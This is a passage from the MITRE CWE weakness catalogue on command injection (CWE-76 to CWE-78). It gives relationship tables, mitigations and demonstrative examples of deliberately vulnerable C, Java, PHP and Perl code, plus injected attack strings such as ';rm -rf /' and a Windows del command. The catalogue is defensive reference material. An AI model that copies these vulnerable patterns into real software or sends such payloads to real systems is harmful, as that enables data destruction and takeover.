This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Special Element Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Server Logs Tampering
93	Log Injection-Tampering-Forging

CWE-76: Improper Neutralization of Equivalent Special Elements

Weakness ID : 76

Structure : Simple

Abstraction : Base

Description

The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.


Extended Description

The product may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the product may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the product might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	142

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Scope	Impact	Likelihood
-------	--------	------------

Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter equivalent special element syntax from all input.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Equivalent Special Element Injection

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID : 77

Structure : Simple

Abstraction : Class

Description

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.






Command injection is a common problem with wrapper programs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	151
ParentOf		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	194
ParentOf		624	Executable Regular Expression Error	1390
ParentOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1818





Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137





Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	151
ParentOf		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	194
ParentOf		624	Executable Regular Expression Error	1390
ParentOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1818

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	151
ParentOf		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	194
ParentOf		624	Executable Regular Expression Error	1390
ParentOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1818

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.</i>	

Detection Methods**Automated Static Analysis**

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations**Phase: Architecture and Design**

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Implementation

If possible, ensure that all external commands called from the program are statically created.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Phase: System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

Demonstrative Examples**Example 1:**

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

Example Language: C

(Bad)

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if `argv[1]` is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the `rman` utility and then run a `cleanup.bat` script to delete some temporary files. The script `rmanDB.bat` accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java

(Bad)

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    \"&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the `backuptype` parameter read from the user. Typically the `Runtime.exec()` function will not execute multiple commands, but in this case the program first runs the `cmd.exe` shell in order to run multiple commands with a single call to `Runtime.exec()`. Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form `"& del c:\\dbms*.*)"`, then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:

The following code from a system utility uses the system property `APPHOME` to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Example Language: Java

(Bad)

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

Example Language: C

(Bad)

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)) );
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

Example Language:

(Informative)

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

Example Language:

(Attack)

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*
```

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Observed Examples

Reference	Description
CVE-2022-36069	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution. https://www.cve.org/CVERecord?id=CVE-2022-36069
CVE-1999-0067	Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. https://www.cve.org/CVERecord?id=CVE-1999-0067
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-9054

Reference	Description
CVE-2022-1509	injection of sed script syntax ("sed injection") https://www.cve.org/CVERecord?id=CVE-2022-1509
CVE-2021-41282	injection of sed script syntax ("sed injection") https://www.cve.org/CVERecord?id=CVE-2021-41282
CVE-2019-13398	injection of sed script syntax ("sed injection") https://www.cve.org/CVERecord?id=CVE-2019-13398
CVE-2019-12921	image program allows injection of commands in "Magick Vector Graphics (MVG)" language. https://www.cve.org/CVERecord?id=CVE-2019-12921
CVE-2020-11698	anti-spam product allows injection of SNMP commands into configuration file https://www.cve.org/CVERecord?id=CVE-2020-11698

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2330
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1005	7PK - Input Validation and Representation	700	2421
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2465
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.) Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Command Injection

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Command injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS34-PL	CWE More Specific	Do not pass untrusted, unsanitized data to a command interpreter

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
40	Manipulating Writeable Terminal Devices
43	Exploiting Multiple Input Interpretation Layers
75	Manipulating Writeable Configuration Files
76	Manipulating Web Input to File System Calls
136	LDAP Injection
183	IMAP/SMTP Command Injection
248	Command Injection

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958> >.2023-04-07.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails >.

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID : 78

Structure : Simple

Abstraction : Base

Description

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that

normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:




- The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use `system("nslookup [HOSTNAME]")` to run `nslookup` and allow the user to supply a `HOSTNAME`, which is used as an argument. Attackers cannot prevent `nslookup` from executing. However, if the program does not remove command separators from the `HOSTNAME` argument, attackers could place the separators into the arguments, which allows them to execute their own program after `nslookup` has finished executing.
- The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use `exec([COMMAND])` to execute the `[COMMAND]` that was supplied by the user. If the `COMMAND` is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like `exec()` and `CreateProcess()`, the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145
CanAlsoBe		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	194
CanFollow		184	Incomplete List of Disallowed Inputs	459

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137


Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433


Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2311

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Shell injection :

Shell metacharacters :

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	DoS: Crash, Exit, or Restart	
Availability	Read Files or Directories	
Non-Repudiation	Modify Files or Directories	
	Read Application Data	
	Modify Application Data	
	Hide Activities	
	<i>Attackers could execute unauthorized commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.</i>	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed

in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These

functions typically perform appropriate quoting and filtering of arguments. For example, in C, the `system()` function accepts a string that contains the entire command to be executed, whereas `execl()`, `execve()`, and others require an array of strings, one for each argument. In Windows, `CreateProcess()` only accepts one command at a time. In Perl, if `system()` is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy = Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy = Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy = Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

CWE Version 4.14**CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples**Example 1:**

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

Example Language: PHP

(Bad)

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The `$userName` variable is not checked for malicious input. An attacker could set the `$userName` variable to an arbitrary OS command such as:

Example Language:

(Attack)

```
;rm -rf /
```

Which would result in `$command` being:

Example Language:

(Result)

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the `ls` command, then the `rm` command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

Example Language: C

(Bad)

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if `argv[1]` is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 3:

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Example Language: Perl

(Bad)

```

use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
    while (<$fh>) {
        print escapeHTML($_);
        print "<br>\n";
    }
    close($fh);
}

```

Suppose an attacker provides a domain name like this:

Example Language:

(Attack)

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

Example Language:

(Result)

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 4:

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

Example Language: Java

(Bad)

```

String script = System.getProperty("SCRIPTNAME");
if (script != null)
    System.exec(script);

```

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 5:

